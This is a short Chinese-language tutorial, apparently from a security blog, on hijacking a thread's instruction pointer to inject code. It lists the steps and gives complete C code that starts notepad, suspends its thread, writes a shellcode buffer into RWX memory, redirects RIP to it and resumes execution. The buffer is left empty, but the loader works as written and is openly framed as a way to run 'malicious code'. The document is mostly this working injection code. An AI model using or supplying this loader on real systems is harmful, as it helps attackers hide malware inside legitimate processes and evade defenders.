SetContext Hijack Thread

简介

通常对于代码注入我们有很多种方式,现在这种方式原理与大部分注入方式技术原理相差不大,通常都是想尽办法让进程去执行我们自定义的代码,比如我们最经典的创建一个远程线程,入口点指定我们写入的代码,或者在程序执行流程上插桩,让正常进程去帮我们执行代码,这次介绍的方式比较暴力,直接劫持cpu的rip或eip指针,使其直接指向我们的恶意代码。

注入流程

  1. 打开或创建一个进程。

  2. 挂起其中一个线程。

  3. 分配并写入shellcode。

  4. 更改rip指针指向shellcode。

  5. 恢复挂起线程。

实现代码

#include<Windows.h>
#include<stdio.h>

char shellcode[] = "";
;
int main(){
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);

	PROCESS_INFORMATION pi = {0};

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
	SuspendThread(pi.hThread);
	LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);
	CONTEXT ctx = { 0 };
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(pi.hThread, &ctx);
	ctx.Rip = (DWORD64)lpBuffer;
	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);
	return 0;
}

最后更新于